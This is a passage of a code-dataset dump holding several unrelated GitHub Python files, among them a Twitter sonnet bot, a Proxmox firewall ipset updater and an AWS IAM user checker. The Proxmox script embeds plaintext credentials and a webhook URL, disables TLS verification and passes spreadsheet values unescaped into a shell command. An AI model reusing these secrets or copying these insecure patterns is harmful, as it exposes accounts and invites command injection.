Since Twitter has a max character length of 280 characters and\r\n # I don't want the sonnet to be cut mid-word, I must count the number of words and characters, here starting with the number\r\n # of characters.\r\n for i in actual_sonnet[0]:\r\n count += 1\r\n if(i == \".\"):\r\n break\r\n \r\n counter = 0\r\n for i in actual_sonnet:\r\n counter += len(i)\r\n if(counter > 200):\r\n j = actual_sonnet.index(i) - 1\r\n break\r\n else:\r\n filtered.append(i)\r\n \r\n # To preface the tweet with the number of sonnet it is.\r\n string1 = \"Sonnet \" + filtered[0][0:count]\r\n string2 = filtered[0][count:]\r\n filtered[0] = string1 + \" \" + string2\r\n \r\n \"\"\"\r\n To change the ~10th word to be the name of a random dead character. I didn't want to replace a stopword such as \"it,\" \"a,\" \r\n \"when,\" etc. or punctuation. I only wanted to change actual words so if the 10th word was a listed stopword it wouldn't \r\n be replaced. Rather, I'd move onto the next word, check that, etc. I also had to make sure that I was \r\n still within the Twitter 280 character limit.\r\n \"\"\"\r\n for i in filtered:\r\n if (((filtered.index(i) % 13) == 0) and (i not in words) and (filtered.index(i) != 0)):\r\n filtered[filtered.index(i)] = death[np.randint(0, 61)]\r\n elif(((filtered.index(i) % 13) == 0) and (i in words)):\r\n for q in range(filtered.index(i), len(filtered)):\r\n if ((filtered[q] not in words) and (q != 0)):\r\n try:\r\n filtered[q] = death[np.randint(0, 59)]\r\n break\r\n except IndexError:\r\n filtered[q] == 42\r\n\r\n finished = \"\"\r\n for i in filtered:\r\n if((i != \",\") and (filtered.index(i) != 0) and (i != \";\") and (i != \"!\") and (i != \"?\") and (i != \":\") and (i != \".\")):\r\n finished += \" \" + i\r\n else:\r\n finished += i\r\n \r\n print(\"Done\") # For debugging purposes\r\n api.update_status(finished)\r\n \r\n\r\n \"\"\"\r\n sonnetaday.org posts a new sonnet every other day so I don't want to upload a new sonnet everyday. Thus, I flip n between 1 and 2 \r\n and on the days when I don't want to tweet n becomes a 1 so I can tweet the next day, and the days that I do tweet I make \r\n n a 1 so it doesn't tweet the following day. I chose to tweet everyday at 12:00 pm Chicago time. However, I kept my code \r\n running on an Amazon Web Services server which uses Universal time so 17:00 in Universal Time is 12:00 pm Chicago time.\r\n \"\"\"\r\nn = 2\r\nwhile(True):\r\n\r\n localt = time.localtime(time.time())\r\n if((localt.tm_hour == 17) and (localt.tm_min == 0) and (localt.tm_sec >= 0) and (localt.tm_sec < 1) and (n == 2)):\r\n TheFunc()\r\n time.sleep(10)\r\n n = 1\r\n if((localt.tm_hour == 17) and (localt.tm_min == 0) and (localt.tm_sec >= 0) and (localt.tm_sec < 1) and (n == 1)):\r\n n = 2\r\n time.sleep(10)\r\n \r\n","repo_name":"SoroushF79/Shakespeare-Sonnets","sub_path":"API.py","file_name":"API.py","file_ext":"py","file_size_in_byte":4986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"41952217054","text":"from main import session\nfrom models import User, Comment\n\ncomment = session.query(Comment).filter_by(id = 16).first()\n\nif comment:\n comment.text = 'This is an updated comment'\n\n session.commit()\nelse:\n print('Comment not found')\n","repo_name":"Ivankaz/learning_sqlalchemy","sub_path":"updating.py","file_name":"updating.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"41582406540","text":"from flask import Blueprint, redirect, request\nfrom urlparse import urlparse, urlunparse\n\nmod = Blueprint('naked', __name__)\n\n@mod.route('/', defaults={'path': ''})\n@mod.route('/')\ndef catch_all(path):\n url = list(urlparse(request.url))\n url[1] = \".\".join([\"www\", url[1]])\n return redirect(urlunparse(url), code=301)\n","repo_name":"wiota/facade","sub_path":"facade/views/naked.py","file_name":"naked.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"4946965666","text":"from .power import power\nfrom .sqrt import sqrt\n\ndef sd (*arg):\n mean = 0\n for i in range(len(arg)):\n mean += arg[i]\n mean = mean / len(arg)\n\n deviationSquare = 0 # init deviation_square (x-lambda)\n sum = 0 # sum [(x-lambda)^2]\n for i in range(len(arg)):\n deviationSquare = power(arg[i] - mean, 2)\n sum += deviationSquare\n\n # divide the sum of difference by number of inputs\n return sqrt(sum / len(arg))","repo_name":"niyonx/eternity","sub_path":"app/functions/sd.py","file_name":"sd.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"21353388650","text":"from typing import no_type_check\nimport requests\nimport re\nimport unidecode\nimport urllib3\nimport json\nimport os\nimport time\nimport sys\nfrom office365.runtime.auth.authentication_context import AuthenticationContext\nfrom office365.sharepoint.client_context import ClientContext\nfrom office365.sharepoint.files.file import File\nfrom office365.runtime.auth.user_credential import UserCredential\nfrom office365.sharepoint.files.file_system_object_type import FileSystemObjectType\nimport io\nimport pandas as pd\nimport openpyxl\nimport json\nfrom colorama import Fore \nfrom termcolor import colored \nfrom pprint import PrettyPrinter, pprint\nfrom operator import add, itemgetter, attrgetter\nfrom pygments import highlight, lexers, formatters\nimport pymsteams\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n\nip_proxmox='10.200.104.3'\n\ndef get_CSRF(ip):\n url = f\"https://{ip}:8006/api2/json/access/ticket\"\n headers = {'Content-Type': 'application/x-www-form-urlencoded',\n 'Content-Type': 'application/json',\n 'Connection': 'keep-alive'}\n login = {'username': 'root@pam',\n 'password': 'Abc@1234'}\n resp = requests.post(url, headers=headers,\n data=json.dumps(login), verify=False)\n # data=cookie.json()\n # print(data['response'])\n cookie = json.loads(resp.text)\n # print(cookie[\"data\"][\"ticket\"])\n return cookie[\"data\"][\"CSRFPreventionToken\"]\n\ndef get_cookie(ip):\n url=f\"https://{ip}:8006/api2/json/access/ticket\"\n headers = {'Content-Type': 'application/x-www-form-urlencoded',\n 'Content-Type': 'application/json',\n 'Connection':'keep-alive'}\n login = {'username':'root@pam',\n 'password':'Abc@1234'}\n resp = requests.post(url,headers=headers,data=json.dumps(login),verify=False)\n # data=cookie.json()\n # print(data['response'])\n cookie=json.loads(resp.text)\n # print(cookie[\"data\"][\"ticket\"])\n return cookie[\"data\"][\"ticket\"]\n\ndef get_value_excel(url,filename,username,password):\n# target url taken from sharepoint and credentials\n relative_url = filename\n ctx_auth = AuthenticationContext(url)\n if ctx_auth.acquire_token_for_user(username, password):\n ctx = ClientContext(url, ctx_auth)\n web = ctx.web\n ctx.load(web)\n ctx.execute_query()\n print(\"Authentication successful\")\n \n response = File.open_binary(ctx, relative_url)\n\n # save data to BytesIO stream\n bytes_file_obj = io.BytesIO()\n bytes_file_obj.write(response.content)\n bytes_file_obj.seek(0) \n \n # set file object to start\n excel = openpyxl.load_workbook(bytes_file_obj)\n sheet = excel.active\n m_row = sheet.max_row\n m_col = sheet.max_column\n dns=[]\n for i in range(1, m_col + 1):\n # cell = sheet.cell(row=1, column=i)\n for j in range(1,m_row):\n cell= sheet.cell(row=j,column=j)\n if j!=m_row and sheet.cell(row=j+1,column=i).value !=None:\n dns.append({\"dns\": sheet.cell(row=1,column=i).value,\n \"value\": sheet.cell(row=j+1,column=i).value})\n return dns\n\ndef add_ip_ipset_cluster(ip,ip_ipset,domain,name_ipset):\n cookie = 'PVEAuthCookie='+str(get_cookie(ip))\n CSRF = str(get_CSRF(ip))\n url = \"https://\"+str(ip)+\":8006/api2/json/cluster/firewall/ipset/\"+name_ipset\n # print(url)\n headers = {'Content-Type': 'application/x-www-form-urlencoded',\n 'Content-Type': 'application/json',\n 'Connection': 'keep-alive',\n 'Cookie': cookie,\n 'CSRFPreventionToken': CSRF}\n notify=[]\n \n for i in ip_ipset:\n required = {'cidr': i, 'name': name_ipset, 'comment': domain}\n notify.append(required)\n\n resp = requests.post(url, headers=headers,\n data=json.dumps(required), verify=False)\n return notify\n\ndef readfile(url):\n ip_file=[]\n with open(url) as fp:\n Lines = fp.readlines()\n for line in Lines:\n ip_file.append(line.strip())\n return(ip_file)\n \n \n \ndef check_ip_exist_in_ipset(ip,name_ipset):\n cookie='PVEAuthCookie='+str(get_cookie(ip))\n # print(cookie)\n url = f\"https://{ip}:8006/api2/json/cluster/firewall/ipset/{name_ipset}\"\n headers = {'Content-Type': 'application/x-www-form-urlencoded',\n 'Content-Type': 'application/json',\n 'Connection': 'keep-alive',\n 'Cookie': cookie}\n # parameter = {'type': 'vm'}\n resp = requests.get(url, headers=headers,verify=False)\n datas = json.loads(resp.text)\n # vm = []\n # pprint(datas)\n ip_whitelistss=readfile(\"ipwhitelist.txt\")\n ip_whitelists=[]\n for ip_wl in ip_whitelistss:\n ip_whitelists.append(ip_wl)\n \n # pprint(ip_whitelists)\n for data in datas['data']:\n for ip_whitelist in ip_whitelists:\n if ip_whitelist == data['cidr']:\n ip_whitelists.remove(ip_whitelist)\n # print(ip_whitelist)\n \n return ip_whitelists\n\ndef notify_microsoft_team(message):\n myTeamsMessage = pymsteams.connectorcard(\"https://3cxcloudonline.webhook.office.com/webhookb2/7f7e9c6b-8e0f-4e40-9b3a-140874f72aaf@2c5396f8-3de5-4223-9e8d-0d244bedbeb5/IncomingWebhook/40c5e39ae3a4467a866f299c9acb39c2/25b4588d-f2c8-472a-99c7-1881aaec4ec5\")\n Section1 = pymsteams.cardsection()\n Section1.text(\"IP will be add proxmox\")\n\n myTeamsMessage.addSection(Section1)\n # Create Section 2\n Section2 = pymsteams.cardsection()\n Section2.text(message)\n\n # Add both Sections to the main card object\n\n\n myTeamsMessage.addSection(Section2)\n myTeamsMessage.summary(\"aaaaaa\")\n\n # Then send the card\n myTeamsMessage.send()\n\ndef nslookup(ip,name_ipset):\n cookie = 'PVEAuthCookie='+str(get_cookie(ip))\n CSRF = str(get_CSRF(ip))\n name_ipset = 'linux-repo-crm'\n url = \"https://\"+str(ip)+\":8006/api2/json/cluster/firewall/ipset/\"+name_ipset\n headers = {'Content-Type': 'application/x-www-form-urlencoded',\n 'Content-Type': 'application/json',\n 'Connection': 'keep-alive',\n 'Cookie': cookie,\n 'CSRFPreventionToken': CSRF}\n notifys=[]\n domains=get_value_excel(\"https://3cxcloudonline.sharepoint.com/sites/IDBCorporation\",\"/sites/IDBCorporation/Shared Documents/TeamX/url-dns.xlsx\",\"bruce@idb.com.vn\",\"Minhtam123\")\n for domain in domains:\n # pprint(domain)\n cmd = os.system(\"nslookup \"+ domain['value'] +\" | grep Address | grep -v \\\"#53\\\" | awk '{print $2}' > ipwhitelist.txt\")\n if check_ip_exist_in_ipset(ip,name_ipset) == []:\n # print(\"da co\")\n continue\n else:\n ipset=check_ip_exist_in_ipset(ip,name_ipset)\n notify=add_ip_ipset_cluster(ip,ipset,domain['dns'],name_ipset)\n notifys.append(notify)\n \n \n pprint(notifys)\n if notifys!=[]:\n notify_microsoft_team(str(notifys))\n \nif __name__ == '__main__':\n while(True):\n nslookup(ip_proxmox,\"linux-repo-crm\")\n time.sleep(5)","repo_name":"giusephamquoclong/dns-proxmox","sub_path":"nslookup/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"8457450711","text":"#!/usr/bin/python3\n\nimport csv\nimport json\nimport os\nimport pip._vendor.requests as requests\n\n\nqueries = {}\n\nTOB_URL_PREFIX = os.getenv(\"TOB_URL_PREFIX\", 'http://localhost:8081')\n\n\"\"\"\ncd scripts\n./run-step.sh von_pipeline/create.py\nINIT_SEED=42 TOPIC_COUNT=5 ./run-step.sh von_pipeline/generate-creds.py\n./run-step.sh von_pipeline/submit-creds.py\ncd ../von_pipeline/tests\nTOB_URL_PREFIX=http://vcr-api:8080 python detect_api_changes.py\n\"\"\"\n\ndef parse_comment(rowstr):\n \"\"\"\n Gets the test tag and query description from the comment line\n \"\"\"\n tag, desc = '', ''\n if rowstr.startswith('#'):\n for entry in rowstr.split('#'):\n entry = entry.strip()\n if entry and 'TAG' in entry:\n tag = entry.split(':')[1]\n queries[tag] = {}\n elif entry != '':\n desc = entry\n return tag, desc\n\n\ndef populate_queries(csvfile):\n \"\"\"\n Generates a dictionary of test tags, query description and query list for each test\n \"\"\"\n last = ''\n for row in reader:\n rowstr = ', '.join(row)\n tag, desc = parse_comment(rowstr)\n if (tag != '' and desc != ''):\n last = tag\n queries[tag] = {'desc': desc, 'queries': [], 'entries': {}}\n continue\n queries[last]['queries'].append(rowstr)\n\n\ndef remove_dates(obj):\n \"\"\"\n Recursively removes dates from the result\n \"\"\"\n if (not obj):\n return\n if isinstance(obj, list):\n for subobj in obj:\n remove_dates(subobj)\n else:\n for k, v in obj.copy().items():\n if isinstance(v, object) and not isinstance(v, (int, str, bool)):\n remove_dates(v)\n else:\n if (has_timestamp_key(k)):\n obj.pop(k)\n if (has_timestamp_value(k, v)):\n obj.pop('value')\n\n\ndef has_timestamp_key(k):\n return k in ('create_timestamp', 'update_timestamp', 'last_updated')\n\n\ndef remove_db_ids(obj):\n \"\"\"\n Recursively removes internal database id's (\"id\" and \"..._id\") from the result\n \"\"\"\n if (not obj):\n return\n if isinstance(obj, list):\n for subobj in obj:\n remove_db_ids(subobj)\n else:\n for k, v in obj.copy().items():\n if isinstance(v, object) and not isinstance(v, (int, str, bool)):\n remove_db_ids(v)\n else:\n if (has_db_id_key(k)):\n obj.pop(k)\n\n\ndef has_db_id_key(k):\n return (k in ('id', 'credential') or (k.endswith(\"_id\") and k != \"source_id\"))\n\n\ndef has_timestamp_value(k, v):\n return ((k == 'type') and v in ('registration_date', 'entity_name_effective', 'entity_name_assumed_effective', 'entity_status_effective', 'relationship_status_effective'))\n\n\nif __name__ == \"__main__\":\n with open('local-corp-test-sample-corps.csv') as csvfile:\n reader = csv.reader(csvfile)\n populate_queries(csvfile)\n\n for query in queries['entity_type']['queries']:\n params = query.split(',')\n source_id = params[0].strip()\n type = params[1].strip()\n tob_url = TOB_URL_PREFIX\n entry = {\n 'url': f'{tob_url}/api/topic/ident/{type}/{source_id}/formatted',\n }\n r = requests.get(entry['url'])\n res = r.json()\n remove_dates(res)\n remove_db_ids(res)\n\n entry['result'] = res\n entry['result_str'] = json.dumps(res)\n queries['entity_type']['entries'][source_id] = entry\n\n write_path = 'local-corp-test-sample-corps.json'\n if not os.path.exists(write_path):\n open(write_path, 'w').close()\n\n with open(write_path, 'r+') as jsonfile:\n res = jsonfile.read()\n if res == '':\n jsonfile.write(json.dumps(queries))\n else:\n changes = {}\n known = json.loads(res)\n for k, v in queries['entity_type']['entries'].items():\n curr = v['result_str']\n prev = known['entity_type']['entries'][k]['result_str']\n if curr != prev:\n changes[k] = {\n 'url': v['url'],\n 'curr': curr,\n 'prev': prev\n }\n print(\"Changed:\", v['url'])\n\n if (len(changes.keys())):\n print('The API has changed')\n with open('local-corp-test-sample-corps.changes.json', 'w+') as jsonchangefile:\n jsonchangefile.write(json.dumps(changes))\n","repo_name":"bcgov/aries-vcr-issuer-controller","sub_path":"issuer_pipeline/von_pipeline/tests/detect_api_changes.py","file_name":"detect_api_changes.py","file_ext":"py","file_size_in_byte":4526,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"75"} +{"seq_id":"6543136354","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport math\n\ndf = pd.read_csv(\"polo_book_rew_trade.csv\")\ndf.columns = ['timestamp', 'tradeID', 'rate', 'amount', 'date', 'total', 'isBuy']\nax = plt.gca()\nax.scatter(x=df['timestamp'], y=df['rate'], marker='o', c='b', s=df['amount'].map(lambda x: math.sqrt(x * 100)))\n\nax.set_autoscaley_on(False)\nax.set_ylim([min(df['rate']), max(df['rate'])])\n\nplt.show()\n\n","repo_name":"Ameobea/tickgrinder","sub_path":"data/plot_poloniex_trades.py","file_name":"plot_poloniex_trades.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","stars":529,"dataset":"github-code","pt":"75"} +{"seq_id":"23686544011","text":"# import csv moudle\r\nimport csv\r\n# create a varible to open / store the csv file in as \"a\" append\r\nappendingcsv = open(\"new_meetingme.csv\", \"a\")\r\n# time variable created to add numbers to string\r\ntime = \"4:30pm\"\r\n# appendingcsv.write module to add additionl information to csv + \"str\" to attach numbers to whole string\r\nappendingcsv.write(\"STELLA\\nHARRIS\\nTOM\\nJamie\\nEmpress\\nAli\\nGovind\\n**have another team meeting at**\" + str(time) + \"on Monday 23rd January 2021\")\r\n# close the code after finished\r\nappendingcsv.close()","repo_name":"eyshah/Eyshah-Nadeem---Project-Brief--Task-4-Csv-file-analysis","sub_path":"code2b.py","file_name":"code2b.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40905885064","text":"\"\"\"\nDCTI = F(T) for two different habitats. \n\"\"\"\nfrom __future__ import division\nimport numpy as np\nimport spopdyn.display as d\nfrom spopdyn.dtdcti import applyDT\nfrom spopdyn.provenance import metadata\nimport matplotlib.pyplot as plt\n\ntemperature = np.zeros((2,2))+0.5\nhabitat = np.zeros((2,2))+0.5\n\nparam = {\"alpha\":1,\n \"d\":0,\n \"K\":500,\n \"tend\":25,\n \"dt\":0.1,\n \"replicas\":1,\n \"frames\":250,\n \"m\":1e-1,\n \"T_range\":np.linspace(0,0.2,40),\n}\n\nspecies = []\noutputs = []\ndt = []\npts = []\ntc = []\n\ndef tc_2sp(muT1,muT2):\n return (muT1 + muT2)/2 \n\n\ndef tc_2habs(muH1,muH2,muT1,muT2):\n \"\"\"Return Tc for H=muH1 et H=muH2\"\"\"\n tc_muH1 = (muH1 - muH2)**2 / (2*(muT2 - muT1))\n tc_muH2 = (muH2 - muH1)**2 / (2*(muT1 - muT2))\n tc_muH1 += tc_2sp(muT1,muT2)\n tc_muH2 += tc_2sp(muT1,muT2)\n return (tc_muH1,tc_muH2)\n\n## 2 SP. equal sigma, diff muH. \nparam[\"name\"] = \"EX04_01\"\nparam[\"T_range\"] = np.linspace(0,0.4,80)\nhabitat = np.zeros((2,2))+0.5\nhabitat[:,0] = 0.6\nspecies.append(np.array([(0.5,0.5,0.1,0.1,0),\n (0.6,0.6,0.1,0.1,0)]))\noutputs.append(applyDT(habitat,temperature,species[-1],param))\npts.append(([0.5,0.5],[0.5,0.6]))\ntc.append(tc_2habs(species[-1][0,0], species[-1][1,0],\n species[-1][0,1], species[-1][1,1]))\ndt.append([x-temperature[0,0] for x in tc[-1]])\n\n## 2 SP. equal sigma, diff muH. \nparam[\"name\"] = \"EX04_02\"\nparam[\"T_range\"] = np.linspace(0,0.5,80)\nhabitat = np.zeros((2,2))+0.5\nhabitat[:,0] = 0.6\nspecies.append(np.array([(0.5,0.5,0.1,0.1,0),\n (0.6,0.8,0.1,0.1,0)]))\noutputs.append(applyDT(habitat,temperature,species[-1],param))\npts.append(([0.5,0.5],[0.5,0.6]))\ntc.append(tc_2habs(species[-1][0,0], species[-1][1,0],\n species[-1][0,1], species[-1][1,1]))\ndt.append([x-temperature[0,0] for x in tc[-1]])\n\n## 4 SP. equal sigma, diff muH. \nparam[\"name\"] = \"EX04_03\"\nparam[\"T_range\"] = np.linspace(0,0.4,80)\nhabitat = np.zeros((2,2))+0.4\nhabitat[:,0] = 0.6\nspecies.append(np.array([(0.4,0.5,0.1,0.1,0),\n (0.6,0.4,0.1,0.1,0),\n (0.4,0.7,0.1,0.1,0),\n (0.6,0.6,0.1,0.1,0)]))\noutputs.append(applyDT(habitat,temperature,species[-1],param))\npts.append(([0.5,0.5],[0.4,0.6]))\ntc.append((tc_2sp(species[-1][0,1],species[-1][2,1]),\n tc_2sp(species[-1][1,1],species[-1][3,1])))\ndt.append([x-temperature[0,0] for x in tc[-1]])\n\ncolor = \"rb\"\nN = len(outputs)\nplt.figure(figsize=(10,N*5))\n\nfor n,(out,sp,tci,dti,pt) in enumerate(zip(outputs,species,tc,dt,pts)):\n plt.subplot(N,2,2*n+1)\n d.niches(sp)\n plt.scatter(*pt)\n plt.vlines(tci,*plt.ylim(),linestyle=\":\",color=\"darkblue\")\n plt.subplot(N,2,2*(n+1))\n plt.xlabel(\"$\\Delta T$\")\n plt.ylabel(\"$\\Delta CTI$\")\n plt.scatter(out[\"deltaT\"],out[\"deltaCTI\"],c=[color[x<0] for x in out[\"deltaT\"]])\n plt.hlines(0,*plt.xlim())\n plt.vlines(0,*plt.ylim())\n plt.vlines(dti,*plt.ylim(),linestyle=\":\",color=\"darkblue\")\nplt.tight_layout()\n\nplt.savefig(\"dt_dcti_2habs.png\")\nplt.savefig(\"dt_dcti_2habs.eps\")\nmetadata(\"dt_dcti_2habs.png\")\nmetadata(\"dt_dcti_2habs.eps\")\n","repo_name":"geeklhem/spopdyn","sub_path":"experiments/2014-10-30/make.py","file_name":"make.py","file_ext":"py","file_size_in_byte":3176,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"5033384609","text":"## reads apsfs cumulative integral PSF fits\n## QV 2021-07-07\n## modifications: 2021-10-06 (QV) updates for new fit files\n\ndef read_apsfs_fits(model_name, sensor):\n import acolite as ac\n import os\n\n #rayf = ac.config['data_dir']+'/Shared/apsfs_model/fa_rayleigh.csv'\n #aerf = ac.config['data_dir']+'/Shared/apsfs_model/fa_{}_{}.csv'.format(sensor.split('_')[1].lower(), model_name[0:3])\n ss = sensor.lower().split('_')\n if sensor in ['L8_OLI']:\n rayf = ac.config['data_dir']+'/Shared/psf_fit/{}_{}_R_res030_v00_p1100_annular_coeff.csv'.format(ss[1], ss[0])\n aerf = ac.config['data_dir']+'/Shared/psf_fit/{}_{}_{}_res030_v00_p1013_annular_coeff.csv'.format(ss[1], ss[0], model_name[0].upper())\n band_names = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10']\n if sensor in ['S2A_MSI', 'S2B_MSI']:\n rayf = ac.config['data_dir']+'/Shared/psf_fit/{}_{}_R_res010_v00_p1100_annular_coeff.csv'.format(ss[1], ss[0])\n aerf = ac.config['data_dir']+'/Shared/psf_fit/{}_{}_{}_res010_v00_p1013_annular_coeff.csv'.format(ss[1], ss[0], model_name[0].upper())\n band_names = ['1', '2', '3', '4', '5', '6', '7', '8', '8A', '9', '10', '11', '12']\n if 'PlanetScope' in sensor:\n sfam = sensor[-2:]\n if sfam in ['0c','0d']:\n sfam = '0c0d'\n if sfam in ['0f','10']:\n sfam = '0f10'\n rayf = ac.config['data_dir']+'/Shared/psf_fit/{}_{}_R_res003_v00_p1100_annular_coeff.csv'.format(sfam, 'ps')\n aerf = ac.config['data_dir']+'/Shared/psf_fit/{}_{}_{}_res003_v00_p1013_annular_coeff.csv'.format(sfam, 'ps', model_name[0].upper())\n band_names = ['Blue', 'Green', 'Red', 'NIR']\n\n print(rayf, aerf)\n\n rdata, adata = {}, {}\n if os.path.exists(rayf):\n with open(rayf, 'r', encoding='utf-8') as f:\n for il, line in enumerate(f.readlines()):\n line = line.strip()\n sp = [s.strip().strip('\"') for s in line.split(',')]\n if il == 0:\n header = [s.replace(' ', '') for s in sp[1:]]\n else:\n rdata = {h: float(sp[ih+1]) for ih, h in enumerate(header)}\n if os.path.exists(aerf):\n with open(aerf, 'r', encoding='utf-8') as f:\n for il, line in enumerate(f.readlines()):\n line = line.strip()\n sp = [s.strip().strip('\"') for s in line.split(',')]\n if il == 0:\n header = [s.replace(' ', '') for s in sp[1:]]\n else:\n #adata[sp[0].strip('band_')] = {h: float(sp[ih+1]) for ih, h in enumerate(header)}\n adata[band_names[int(sp[0].strip('band_'))-1]] = {h: float(sp[ih+1]) for ih, h in enumerate(header)}\n return(rdata, adata)\n","repo_name":"acolite/acolite","sub_path":"acolite/adjacency/acstar3/read_apsfs_fits.py","file_name":"read_apsfs_fits.py","file_ext":"py","file_size_in_byte":2772,"program_lang":"python","lang":"en","doc_type":"code","stars":119,"dataset":"github-code","pt":"75"} +{"seq_id":"31420380241","text":"#Faça um programa que receba várias idades, calcule e mostre a média das idades digitadas. Finalize digitando idade igual a zero.\n\nidades = []\ni = 0\nwhile True:\n idades.append(int(input('Digite uma idade: ')))\n verif = str(input('Continuar? s/n '))\n if verif == 's':\n continue\n elif verif == 'n':\n print(f'Quantidade de idades coletadas: {len(idades)}')\n print(f'A média das idades coletadas é: {sum(idades)/len(idades)}')\n\n\n\n","repo_name":"Viniciusrcarlos/ulbra-02-2022","sub_path":"Algoritmos e Programação/08_2010/exemplos/06.py","file_name":"06.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"18372327962","text":"from collections import defaultdict\n\n\nclass Graph:\n def __init__(self):\n self.G = defaultdict(list)\n\n def addEdge(self, u, v):\n self.G[u].append(v)\n self.G[v].append(u)\n\n def BFS(self, start):\n visited = []\n q = []\n\n q.append(start)\n visited.append(start)\n\n while q:\n node = q.pop(0)\n print(node)\n\n for i in self.G[node]:\n if i not in visited:\n q.append(i)\n visited.append(i)\n\n def _DFSutil(self, node, visited):\n if node not in visited:\n print(node)\n visited.append(node)\n for i in self.G[node]:\n self._DFSutil(i, visited)\n\n\n def DFS(self, start):\n visited = []\n self._DFSutil(start, visited)\n\n\ng = Graph()\ng.addEdge(1,7)\ng.addEdge(7,10)\ng.addEdge(1,3)\ng.addEdge(2,3)\ng.addEdge(1,4)\ng.addEdge(4,5)\n# g.addEdge(5,1)\ng.addEdge(4,8)\ng.addEdge(8,9)\n\ng.DFS(1)\n","repo_name":"sayali-sonawane/Algorithm","sub_path":"Basics.py","file_name":"Basics.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16697571696","text":"\"\"\"ResourceType: AwsIamUser\"\"\"\n\n\nfrom datetime import datetime, timezone\n\nfrom botocore.exceptions import ClientError\n\nfrom lib.AwsHelpers import get_boto3_client\nfrom lib.config.configuration import days_to_consider_unrotated\nfrom lib.context.resources.Base import ContextBase\n\n\nclass Metacheck(ContextBase):\n def __init__(\n self,\n logger,\n finding,\n mh_filters_config,\n sess,\n drilled=False,\n ):\n self.logger = logger\n self.sess = sess\n self.mh_filters_config = mh_filters_config\n self.parse_finding(finding, drilled)\n self.client = get_boto3_client(self.logger, \"iam\", self.region, self.sess)\n # Describe\n self.user = self.describe_user()\n if not self.user:\n return False\n self.user_access_keys = self.list_access_keys()\n self.iam_inline_policies = self.list_user_policies()\n # Associated MetaChecks\n self.iam_policies = self.list_attached_user_policies()\n\n def parse_finding(self, finding, drilled):\n self.finding = finding\n self.region = finding[\"Region\"]\n self.account = finding[\"AwsAccountId\"]\n self.partition = finding[\"Resources\"][0][\"Id\"].split(\":\")[1]\n self.resource_type = finding[\"Resources\"][0][\"Type\"]\n self.resource_id = (\n finding[\"Resources\"][0][\"Id\"].split(\"/\")[-1]\n if not drilled\n else drilled.split(\"/\")[-1]\n )\n self.resource_arn = finding[\"Resources\"][0][\"Id\"] if not drilled else drilled\n\n # Describe functions\n\n def describe_user(self):\n try:\n user = self.client.get_user(UserName=self.resource_id).get(\"User\")\n return user\n except ClientError as err:\n if not err.response[\"Error\"][\"Code\"] == \"NoSuchEntity\":\n self.logger.error(\n \"Failed to get_user {}, {}\".format(self.resource_id, err)\n )\n return False\n\n def list_user_policies(self):\n iam_inline_policies = {}\n\n try:\n list_user_policies = self.client.list_user_policies(\n UserName=self.resource_id\n )\n except ClientError as err:\n if err.response[\"Error\"][\"Code\"] == \"NoSuchEntity\":\n return False\n else:\n self.logger.error(\n \"Failed to list_user_policies {}, {}\".format(self.resource_id, err)\n )\n return False\n if list_user_policies[\"PolicyNames\"]:\n for policy_name in list_user_policies[\"PolicyNames\"]:\n policy_document = self.client.get_user_policy(\n PolicyName=policy_name, UserName=self.resource_id\n ).get(\"PolicyDocument\")\n iam_inline_policies[policy_name] = policy_document\n\n return iam_inline_policies\n\n def list_access_keys(self):\n iam_user_access_keys = {}\n\n try:\n list_access_keys = self.client.list_access_keys(UserName=self.resource_id)\n except ClientError as err:\n if err.response[\"Error\"][\"Code\"] == \"NoSuchEntity\":\n return False\n else:\n self.logger.error(\n \"Failed to list_access_keys {}, {}\".format(self.resource_id, err)\n )\n return False\n if list_access_keys[\"AccessKeyMetadata\"]:\n iam_user_access_keys = list_access_keys[\"AccessKeyMetadata\"]\n\n return iam_user_access_keys\n\n def list_attached_user_policies(self):\n iam_policies = {}\n\n try:\n list_attached_user_policies = self.client.list_attached_user_policies(\n UserName=self.resource_id\n )\n except ClientError as err:\n if err.response[\"Error\"][\"Code\"] == \"NoSuchEntity\":\n return False\n else:\n self.logger.error(\n \"Failed to list_attached_user_policies {}, {}\".format(\n self.resource_id, err\n )\n )\n return False\n if list_attached_user_policies[\"AttachedPolicies\"]:\n for attached_policy in list_attached_user_policies[\"AttachedPolicies\"]:\n iam_policies[attached_policy[\"PolicyArn\"]] = {}\n\n return iam_policies\n\n def is_unrotated(self):\n if self.user_access_keys:\n current_date = datetime.now(timezone.utc)\n for key in self.user_access_keys:\n if key.get(\"Status\") == \"Active\":\n create_date = key.get(\"CreateDate\")\n date_difference = current_date - create_date\n if date_difference.days > days_to_consider_unrotated:\n return str(date_difference.days)\n return False\n\n def resource_policy(self):\n return None\n\n def trust_policy(self):\n return None\n\n def public(self):\n return None\n\n def associations(self):\n associations = {\n \"iam_policies\": self.iam_policies,\n }\n return associations\n\n def checks(self):\n checks = {\n \"iam_inline_policies\": self.iam_inline_policies,\n \"is_unrotated\": self.is_unrotated(),\n \"public\": self.public(),\n \"resource_policy\": self.resource_policy(),\n }\n return 